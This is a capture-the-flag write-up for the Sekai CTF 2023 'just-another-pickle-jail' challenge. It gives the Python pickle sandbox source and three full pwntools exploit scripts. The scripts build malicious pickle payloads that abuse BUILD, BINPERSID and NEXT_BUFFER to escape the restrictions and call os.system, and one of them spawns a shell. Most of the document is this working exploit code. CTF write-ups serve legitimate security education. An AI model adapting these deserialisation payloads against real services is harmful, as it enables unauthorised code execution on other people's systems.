Sekai CTF 2023 just-another-pickle-jail
Based on maple3142's writeup and the official solution. May contain errors. This challenge uses Python 3.11.
chall.py:
#!/usr/bin/python3
# Heavily based on AZ's you shall not call (ictf 2023), because that was a great chall
import __main__
# Security measure -- don't let people get io module
from io import BytesIO
from my_pickle import _Unpickler as Unpickler
class mgk:
class nested:
pass
mgk.nested.__import__ = __import__
mgk.nested.banned = list(Unpickler.__dict__.keys())
E = type('', (), {'__eq__': lambda s,o:o})() # from hsctf 2023
x = vars(object) == E
x['mgk'] = mgk
del x
del mgk
del E
def __setattr__(self, a, b): # wow look its the custom setattr no one asked for!!!!
if a not in object.mgk.nested.banned:
__main__ = object.mgk.nested.__import__('__main__')
if not ((a == 'setattr' or '__' in a) and self == __main__): # overwriting my protections? How dare you!
try:
object.__setattr__(self, a, b)
except:
type.__setattr__(self, a, b)
Unpickler.__setattr__ = __setattr__
__import__('builtins').__dict__['setattr'] = __setattr__
del __setattr__
def __import__(x, *_): # ok who needs more than 1 arg like wtf i did not know there was 5 args lmfao
if x in ['builtins', '__main__']:
return object.mgk.nested.__import__(x) # this is fair trust
__import__('builtins').__dict__['__import__'] = __import__
del __main__.__import__
E = type('', (), {'__eq__': lambda s,o:o})()
x = vars(type(__main__)) == E
def mgetattr(self, a, d=None):
for x in ['exe', 'os', 'break', 'eva', 'help', 'sys', 'load', 'open', 'dis', 'lic', 'cre']:
if x in a:
return None
else:
try:
return object.__getattribute__(self, a)
except:
try:
return type.__getattribute__(self, a)
except:
return d
x['__getattribute__'] = mgetattr # not paranoid
__import__('builtins').__dict__['getattr'] = mgetattr # :>
del E
del x
del __main__.mgetattr
# Security measure -- remove dangerous magic
for k in list(globals()):
if '_' in k and k not in ['__main__', '__builtins__']:
del globals()[k]
del k
# Security measure -- remove dangerous magic
__builtins__ = vars(__builtins__)
for x in ['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__build_class__', '__debug__', '__import__']:
del __builtins__[x]
try:
up = Unpickler(BytesIO(bytes.fromhex(input(">>> "))))
up.load()
except:
pass
The custom my_pickle.py is a copy of pickle._Unpickler with many dangerous opcodes disabled (load_reduce, load_newobj, load_newobj_ex, load_inst, load_obj, _instantiate, get_extension, load_additems all call die()), and restricted find_class.
Requirements:
find_classonly looks up names in__main__and blocks names containingexe,os,break,eva,help,sys,load,open,dis,lic,cre__getattribute__on module objects is replaced withmgetattrthat blocks the same substringsBUILD,SETITEM, and memo writes all block keys containing__or equal tosetattrREDUCE,NEWOBJ,NEWOBJ_EX,INST,OBJ,ADDITEMS, andEXTopcodes are all blocked__builtins__has__import__,__build_class__,__name__, etc. deleted__setattr__on Unpickler blocks writes to existing method names
All three solutions below exploit a common weakness: BUILD modifies inst.__dict__ directly, bypassing __setattr__. BINPERSID calls self.persistent_load(pid) which is unchecked.
Approach A: BINPERSID function call
How it works:
BINPERSID pops a value pid from the stack and calls self.persistent_load(pid):
def load_binpersid(self):
pid = self.stack.pop()
self.append(self.persistent_load(pid))
By setting up.persistent_load to arbitrary functions via BUILD (which writes directly to up.__dict__, bypassing __setattr__), we can call any single-argument function.
-
Copy builtins into
__main__:BUILD __main__with__builtins__state copies all builtin entries into__main__.__dict__, making them accessible viafind_class. -
Expose dict methods: Set
up.persistent_load = vars, thenBINPERSIDwithdictcallsvars(dict), returningdict's__dict__mappingproxy.BUILD __main__with this mappingproxy adds methods likevaluesto__main__. -
Iterate builtins values: Set
up.persistent_load = dict.values,BINPERSIDwith__builtins__callsdict.values(__builtins__)→dict_values. Setup.persistent_load = iter,BINPERSIDwith thedict_values→ iterator. -
Get
exec: Setup.persistent_load = next. After the challenge setup,execis at index 13 inbuiltins.__dict__.values(). Callnext(iterator)13 times to skip, then once more to getexec. -
Execute code: Set
up.persistent_load = exec,BINPERSIDwith a code string →exec(code).
#!/usr/bin/env python3
import pickle, struct
from pwn import *
context.log_level = 'error'
HOST = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337
FLAG_CMD = sys.argv[3] if len(sys.argv) > 3 else './flag'
def short_binunicode(s):
data = s.encode('utf-8'); assert len(data) < 256
return pickle.SHORT_BINUNICODE + bytes([len(data)]) + data
p = pickle.PROTO + b'\x02'
# Phase 0: Copy __builtins__ entries into __main__
p += pickle.GLOBAL + b'__main__\n__main__\n'
p += pickle.MEMOIZE
p += pickle.GLOBAL + b'__main__\n__builtins__\n'
p += pickle.MEMOIZE
p += pickle.BUILD
# Phase 1: vars(dict) mappingproxy -> __main__
p += pickle.GLOBAL + b'__main__\ndict\n'; p += pickle.MEMOIZE
p += pickle.GLOBAL + b'__main__\nvars\n'; p += pickle.MEMOIZE
p += pickle.GLOBAL + b'__main__\nup\n'; p += pickle.MEMOIZE
# up.persistent_load = vars
p += pickle.BINGET + bytes([4]) + pickle.EMPTY_DICT + pickle.MARK
p += short_binunicode('persistent_load') + pickle.BINGET + bytes([3])
p += pickle.SETITEMS + pickle.BUILD
# BINPERSID calls vars(dict) -> mappingproxy
p += pickle.BINGET + bytes([2]) + pickle.BINPERSID + pickle.MEMOIZE
# BUILD __main__ with mappingproxy (adds dict.values etc.)
p += pickle.BINGET + bytes([0]) + pickle.BINGET + bytes([5]) + pickle.BUILD
# Phase 2: dict.values(__builtins__) -> dict_values
p += pickle.GLOBAL + b'__main__\nvalues\n'; p += pickle.MEMOIZE
p += pickle.BINGET + bytes([4]) + pickle.EMPTY_DICT + pickle.MARK
p += short_binunicode('persistent_load') + pickle.BINGET + bytes([6])
p += pickle.SETITEMS + pickle.BUILD
p += pickle.BINGET + bytes([1]) + pickle.BINPERSID + pickle.MEMOIZE
# Phase 3: iter(dict_values) -> iterator
p += pickle.GLOBAL + b'__main__\niter\n'; p += pickle.MEMOIZE
p += pickle.BINGET + bytes([4]) + pickle.EMPTY_DICT + pickle.MARK
p += short_binunicode('persistent_load') + pickle.BINGET + bytes([8])
p += pickle.SETITEMS + pickle.BUILD
p += pickle.BINGET + bytes([7]) + pickle.BINPERSID + pickle.MEMOIZE
# Phase 4: next(iterator) 13 times -> exec (at index 13 after setup)
p += pickle.GLOBAL + b'__main__\nnext\n'; p += pickle.MEMOIZE
p += pickle.BINGET + bytes([4]) + pickle.EMPTY_DICT + pickle.MARK
p += short_binunicode('persistent_load') + pickle.BINGET + bytes([10])
p += pickle.SETITEMS + pickle.BUILD
for _ in range(13):
p += pickle.BINGET + bytes([9]) + pickle.BINPERSID + pickle.POP
p += pickle.BINGET + bytes([9]) + pickle.BINPERSID + pickle.MEMOIZE
# Phase 5: exec(code)
p += pickle.BINGET + bytes([4]) + pickle.EMPTY_DICT + pickle.MARK
p += short_binunicode('append') + pickle.BINGET + bytes([11])
p += pickle.SETITEMS + pickle.BUILD
code = f'o=object.mgk.nested.__import__("os");o.system("{FLAG_CMD}")'
p += short_binunicode(code) + pickle.STOP
r = remote(HOST, PORT); r.recvuntil(b'>>> ')
r.sendline(p.hex().encode()); print(r.recvall(timeout=3).decode(errors='replace'))
Approach B: NEXT_BUFFER trampoline (maple3142)
How it works:
load_next_buffer calls next(self._buffers). The name next is resolved from my_pickle's globals, which uses the builtins module. Since __main__.__builtins__ IS builtins.__dict__ (after chall.py line 77: __builtins__ = vars(__builtins__)), modifying __main__.__builtins__['next'] actually modifies the real builtins, affecting name resolution in all modules.
By setting __builtins__['next'] = fn and up._buffers = arg, each NEXT_BUFFER opcode calls fn(arg):
def load_next_buffer(self):
buf = next(self._buffers) # next is now fn, _buffers is arg
self.append(buf)
- Copy builtins into
__main__via BUILD. NEXT_BUFFER(vars, dict)→vars(dict)→ mappingproxy. BUILD into__main__.NEXT_BUFFER(vars, list)→vars(list)→ mappingproxy. BUILD into__main__.NEXT_BUFFER(dict.values, __builtins__)→dict.values(__builtins__)→dict_values.NEXT_BUFFER(list, dict_values)→ convert to list.NEXT_BUFFER(iter, list)→ iterator.NEXT_BUFFER(next, iterator)14 times → getexec.NEXT_BUFFER(exec, code_string)→exec(code).
#!/usr/bin/env python3
import pickle, struct
from pwn import *
context.log_level = 'error'
HOST = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337
FLAG_CMD = sys.argv[3] if len(sys.argv) > 3 else './flag'
def short_binunicode(s):
data = s.encode('utf-8'); assert len(data) < 256
return pickle.SHORT_BINUNICODE + bytes([len(data)]) + data
def stack_global(m, n):
return short_binunicode(m) + short_binunicode(n) + pickle.STACK_GLOBAL
def next_buffer_trick(fn, arg):
b = pickle.GLOBAL + b'__main__\n__builtins__\n'
b += short_binunicode('next') + fn + pickle.SETITEM
b += pickle.GLOBAL + b'__main__\nup\n'
b += pickle.MARK + pickle.NONE + pickle.MARK
b += short_binunicode('_buffers') + arg
b += pickle.DICT + pickle.TUPLE + pickle.BUILD + pickle.NEXT_BUFFER
return b
p = pickle.PROTO + b'\x04'
# Copy builtins into __main__
p += stack_global('__main__', '__main__')
p += stack_global('__main__', '__builtins__'); p += pickle.BUILD + pickle.POP
# Add dict methods to __main__
p += next_buffer_trick(stack_global('__main__', 'vars'),
stack_global('__main__', 'dict'))
p += pickle.MEMOIZE
p += stack_global('__main__', '__main__') + pickle.BINGET + bytes([0])
p += pickle.BUILD + pickle.POP
# Add list methods to __main__
p += next_buffer_trick(stack_global('__main__', 'vars'),
stack_global('__main__', 'list'))
p += pickle.MEMOIZE
p += stack_global('__main__', '__main__') + pickle.BINGET + bytes([1])
p += pickle.BUILD + pickle.POP
# dict.values(__builtins__) -> dict_values
p += next_buffer_trick(stack_global('__main__', 'values'),
stack_global('__main__', '__builtins__'))
p += pickle.MEMOIZE
# list(dict_values) -> list; iter(list) -> iterator
p += next_buffer_trick(stack_global('__main__', 'list'),
pickle.BINGET + bytes([2]))
p += pickle.MEMOIZE
p += next_buffer_trick(stack_global('__main__', 'iter'),
pickle.BINGET + bytes([3]))
p += pickle.MEMOIZE
# next(iterator) 14 times -> exec
for _ in range(14):
p += next_buffer_trick(stack_global('__main__', 'next'),
pickle.BINGET + bytes([4]))
p += pickle.POP if _ < 13 else pickle.MEMOIZE
# exec(code)
code = f'o=object.mgk.nested.__import__("os");o.system("{FLAG_CMD}")'
p += next_buffer_trick(pickle.BINGET + bytes([5]), short_binunicode(code))
p += pickle.STOP
r = remote(HOST, PORT); r.recvuntil(b'>>> ')
r.sendline(p.hex().encode()); print(r.recvall(timeout=3).decode(errors='replace'))
Approach C: find_class replacement via __getattribute__ (official)
How it works:
The official exploit chains BUILD and SETITEM to set up __main__.__dict__ entries, replace Unpickler.__getattribute__ with mgetattr, and create a second Unpickler instance via the NEXT_BUFFER trick. A mini-pickle payload (pkl2) is fed through GET*3 (without explicit arguments, relying on frame byte positions) to construct a dict and call STACK_GLOBAL. The payload runs os.system('sh') to open a shell; the command to execute must be sent separately through the connection.
#!/usr/bin/env python3
from pickle import *
import struct
from pwn import *
context.log_level = 'error'
HOST = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337
FLAG_CMD = sys.argv[3] if len(sys.argv) > 3 else './flag'
pkl2 = b'0\n1\n2\n3\n4\n7\n5\n6\n7\n8\n9\n10\n13\n11\n12\n13\n14\n15\n'
pkl = PROTO + b"\x04"
pkl += GLOBAL + b'__main__\n__main__\n'
pkl += GLOBAL + b'__main__\n__builtins__\n'
pkl += BUILD
pkl += POP
pkl += GLOBAL + b'__main__\n__dict__\n'
pkl += MARK
pkl += STRING + b'"find_class"\n'
pkl += GLOBAL + b'__main__\ngetattr\n'
pkl += STRING + b'"persistent_load"\n'
pkl += GLOBAL + b'__main__\nprint\n'
pkl += STRING + b'"str"\n'
pkl += TRUE
pkl += SETITEMS
pkl += GLOBAL + b'__main__\nUnpickler\n'
pkl += GLOBAL + b'__main__\n__builtins__\n'
pkl += MARK
pkl += STRING + b'"str"\n'
pkl += TRUE
pkl += STRING + b'"next"\n'
pkl += GLOBAL + b'__main__\nBytesIO\n'
pkl += SETITEMS
pkl += POP*2
pkl += GLOBAL + b'__main__\nUnpickler\n'
pkl += MARK
pkl += NONE
pkl += MARK
pkl += STRING + b'"__getattribute__"\n'
pkl += GLOBAL + b'__main__\n__getattribute__\n'
pkl += DICT
pkl += TUPLE
pkl += PUT + b'0\n'
pkl += MARK
pkl += STRING + b'"hi"\n'
pkl += LIST
pkl += PUT + b'1\n'
pkl += GLOBAL + b'__main__\nup\n'
pkl += MARK
pkl += NONE
pkl += MARK
pkl += STRING + b'"_buffers"\n'
pkl += BINBYTES + struct.pack("<I", len(pkl2)) + pkl2
pkl += DICT
pkl += TUPLE
pkl += BUILD
pkl += NEXT_BUFFER
pkl += MEMOIZE
pkl += GLOBAL + b'__main__\n__builtins__\n'
pkl += STRING + b'"next"\n'
pkl += GLOBAL + b'__main__\nUnpickler\n'
pkl += SETITEM
pkl += GLOBAL + b'__main__\nup\n'
pkl += MARK
pkl += NONE
pkl += MARK
pkl += STRING + b'"_buffers"\n'
pkl += GET + b'2\n'
pkl += DICT
pkl += TUPLE
pkl += BUILD
pkl += MARK
pkl += NONE
pkl += MARK
pkl += STRING + b'"__getattribute__"\n'
pkl += GLOBAL + b'__main__\n__getattribute__\n'
pkl += DICT
pkl += TUPLE
pkl += MEMOIZE
pkl += MARK
pkl += INT + b'0\n'
pkl += GLOBAL + b'__main__\n__builtins__\n'
pkl += INT + b'1\n'
pkl += STRING + b'"type"\n'
pkl += INT + b'2\n'
pkl += GLOBAL + b'__main__\nbool\n'
pkl += INT + b'3\n'
pkl += GLOBAL + b'__main__\n__dict__\n'
pkl += INT + b'4\n'
pkl += STRING + b'"__getitem__"\n'
pkl += INT + b'5\n'
pkl += GLOBAL + b'__main__\n__builtins__\n'
pkl += INT + b'6\n'
pkl += STRING + b'"next"\n'
pkl += INT + b'8\n'
pkl += GLOBAL + b'__main__\n__dict__\n'
pkl += INT + b'9\n'
pkl += STRING + b'"_buffers"\n'
pkl += INT + b'10\n'
pkl += STRING + b'"exec"\n'
pkl += INT + b'11\n'
pkl += GLOBAL + b'__main__\n__builtins__\n'
pkl += INT + b'12\n'
pkl += STRING + b'"type"\n'
pkl += INT + b'14\n'
pkl += STRING + b'"GGS"\n'
pkl += INT + b'15\n'
pkl += STRING + b'"os=object.mgk.nested.__import__(\'os\'); os.system(\'sh\')"\n'
pkl += DICT
pkl += MEMOIZE
pkl += GLOBAL + b'__main__\nUnpickler\n'
pkl += MARK
pkl += NONE
pkl += MARK
pkl += STRING + b'"__setattr__"\n'
pkl += GLOBAL + b'__main__\n__setattr__\n'
pkl += DICT
pkl += TUPLE
pkl += BUILD
pkl += NEXT_BUFFER
pkl += MEMOIZE
pkl += GLOBAL + b'__main__\n__dict__\n'
pkl += STRING + b'"readline"\n'
pkl += GLOBAL + b'__main__\n_file_readline\n'
pkl += SETITEM
pkl += GLOBAL + b'__main__\n__dict__\n'
pkl += STRING + b'"read"\n'
pkl += GLOBAL + b'__main__\n_file_read\n'
pkl += SETITEM
pkl += GLOBAL + b'__main__\n__dict__\n'
pkl += STRING + b'"metastack"\n'
pkl += EMPTY_LIST
pkl += SETITEM
pkl += GLOBAL + b'__main__\n__dict__\n'
pkl += STRING + b'"stack"\n'
pkl += EMPTY_LIST
pkl += SETITEM
pkl += GLOBAL + b'__main__\n__dict__\n'
pkl += STRING + b'"memo"\n'
pkl += GET + b'4\n'
pkl += SETITEM
pkl += GLOBAL + b'__main__\nUnpickler\n'
pkl += GET + b'3\n'
pkl += BUILD
pkl += MARK
pkl += GET*3
pkl += SETITEM
pkl += GET*2
pkl += STACK_GLOBAL
pkl += PUT
pkl += GET*3
pkl += SETITEM
pkl += GET*3
pkl += SETITEM
pkl += NEXT_BUFFER
pkl += PUT
pkl += GET
pkl += GET
pkl += GET
pkl += SETITEM
pkl += GET
pkl += GET
pkl += STACK_GLOBAL
pkl += STOP
r = remote(HOST, PORT)
r.recvuntil(b'>>> ')
r.sendline(pkl.hex().encode())
sleep(2)
r.sendline(FLAG_CMD.encode())
print(r.recvall(timeout=3).decode(errors='replace'))